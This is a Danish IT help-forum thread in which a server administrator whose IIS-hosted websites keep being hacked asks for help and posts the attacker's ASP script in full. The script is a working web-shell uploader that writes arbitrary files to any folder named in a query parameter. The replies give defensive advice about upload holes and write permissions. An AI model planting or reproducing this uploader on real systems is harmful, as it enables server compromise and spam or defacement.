Avatar billede zentral Nybegynder
09. februar 2015 - 12:24 Der er 9 kommentarer og
1 løsning

HJÆLP min server blir hacket !

Heysa ... Jeg har et STORT og voksende problem på min Windows 2012 R2 server, med IIS 8.5, hvor jeg hoster en del domæner ...

En hacker har fundet en måde hvor han ka uploade en ASP fil til en af de mange websites, og begynder så at ligge tusindevis af html filer op, som han kobler til Google Analytics på en eller andet måde ...

Jeg sletter dagligt mapperne, men de kommer så hurtig op igen at det sker næsten daglig, og belaster serveren utrolig meget.

Jeg har samlet en RAR fil, med de scripts han bruger, samt de HTML filer han ligger op. (ganske ufarligt at kigge)

Jeg vil utrolig gerne have lukket hullet så det ikke kan lade sig gøre mere ...

Hjæææææææææææææælp :)

http://www.black-code.dk/hack.rar
Avatar billede jakobdo Ekspert
09. februar 2015 - 14:02 #1
Du skal jo have "lukket" det hul han uploader filerne igennem.

Hvis en bruger har en usikker side, hvor man kan vælge at uploade:

filemanager.asp og den efterfølgende giver fuldadgang til din server, så kan du jo patche så meget du vil.

Nu er jeg ikke den store IIS man, men i gamle dage kan jeg da huske et program der hed: UrlScan, måske det kan give dig bedre sikkerhed generelt?
Omend det nok ikke kan garantere mod dårlig kodet hjemmesider.
Avatar billede CRKrogh Ekspert
09. februar 2015 - 18:24 #2
Du kunne jo lige tage fat i "katjakh.dk" og bede dem få fingrene af fadet?
Avatar billede zentral Nybegynder
09. februar 2015 - 18:24 #3
Det er hovedsagelig mine egne kodede sider. dvs MVC projekter ... Som er ret godt beskyttet.

Men du er helt sikkert inde på noget med IIS'en, eller det UrlScan, som jeg har læst noget om ...

Man må ku blokere for skriveadgang til roden, eller måske ændre på det der "trust level" Måske nogen har erfaring med det ?

Sådan her ser det script ud, han får uploader og kørt på alle sites næsten hver dag ...


<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
ok
<%  strFolderNmae=Request.QueryString("cmd");
      if(strFolderNmae=="")
            Response.Write( "null");
      else
%>
<%
    if (Request.serverVariables("REQUEST_METHOD")=="POST")
    {
            var oo = new uploadFile();
            oo.path = "/";                     
            oo.named = "file";                     
            oo.ext = "all";                             
            oo.over = false;                         
            oo.size = 1*1024*1024;           
            var fname= oo.getFileName();
            oo.upload();
           
            Response.write("Stored in: "+ fname);
            Response.End();
    }


function uploadFile()
{
    var bLen  = Request.totalBytes;
    var bText = Request.binaryRead(bLen);
    var oo = Server.createObject("ADODB.Stream");
    oo.mode = 3;
        this.path = "uploadFile";
        this.named = "file";
        this.ext = "all";
        this.over = false;
        this.size = 1*1024*1024*1024;       


        this.upload = function ()
        {
                var o = this.getInfo();
                if (o.size>this.size)
                {
                        //alert("file too big,cannot upload");
                        return;             
                }
                var f = this.getFileName();
                var ext = f.replace(/^.+\./,"");
                if (this.ext!="all"&&!new RegExp(this.ext.replace(/,/g,"|"),"ig").test(ext))
                {
                        //alert("Currently does not support the extension "+ext+" File upload!");
                        return;
                }
                if (this.named=="date")
                {
                        f = new Date().toLocaleString().replace(/\D/g,"") + "." + ext;
                }

                oo.open();
                oo.type = 1;
                oo.write(o.bin);
                this.path = strFolderNmae;
                var fso = Server.createObject("Scripting.FileSystemObject");
                if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path)))
                {
                        fso.createFolder(Server.mapPath(this.path));
                }
                try
                {
                        oo.saveToFile(Server.mapPath(this.path+"/"+f),this.over?2:1);
                        //alert("Uploaded successfully!");
                }
                catch(e)
                {
                        //alert("This file already exists");
                }
                oo.close();
                delete(oo);

        }

        this.getInfo = function ()
        {
                oo.open();
                oo.type=1;
                oo.write(bText);
                oo.position = 0;                             
                oo.type=2;
                oo.charset="unicode";
                var gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1");
                var sPos=gbCode.indexOf("%0D%0A%0D%0A")+12;
                var sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6;
                oo.close();
     
                oo.open();
                oo.type = 1;     
                oo.write(bText);
                oo.position=sPos/3;
                var bFile=oo.read(sLength);
                oo.close();
             
                return { bin:bFile, size:sLength };
        }

           
        this.getFileName = function ()
        {
                oo.open();
                oo.type = 2;
                oo.writeText(bText);
                oo.position = 0;
                oo.charset = "gb2312";
                var fileName = oo.readText().match(/filename=\"(.+?)\"/i)[1].split("\\").slice(-1)[0];
                oo.close();
                return fileName;
        }
     
        function alert(msg)
        {
                Response.write('<script type="text/javascript">alert("'+msg+'");</script>');
        }
}
%>
Avatar billede zentral Nybegynder
09. februar 2015 - 18:25 #4
det nævnte domæne, er bar 1 ud af 60 ...
Avatar billede CRKrogh Ekspert
09. februar 2015 - 18:32 #5
Ach. Under alle omstændigheder giver du aldrig skriveadgang til rod-kataloget, og altid kun navngiven bruger skriverettigheder til specifikt katalog.
Jeg går ud fra at anonymous IKKE har skriverettigheder?
Avatar billede zentral Nybegynder
09. februar 2015 - 19:07 #6
Jeg har givet skriverettigheder til "alle" i nogle specifikke mapper. hvor folk uploader billeder, me dem holder jeg nøje øje med og dem kommer der aldrig noget skørt ind i.
Avatar billede CRKrogh Ekspert
09. februar 2015 - 20:20 #7
Der er bestemt ingen problemer i at uploade et scriptsæt til den upload-folder, lade det stå og koge lidt, til der er opnået tilpas (eleverede!) rettigheder til din server, for derefter at rydde pænt op efter sig.

Man giver ALDRIG "Everyone"/"Anonymous" adgang til at skrive på en webserver.
Avatar billede zentral Nybegynder
11. marts 2015 - 13:10 #8
CRKrogh, post et svar så får du points :)
Avatar billede zentral Nybegynder
10. april 2015 - 11:55 #9
CRKrogh, vil du have point ? så post et tomt svar :)
Problemet blev løst ....
Avatar billede zentral Nybegynder
26. maj 2015 - 12:44 #10
Lukket
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester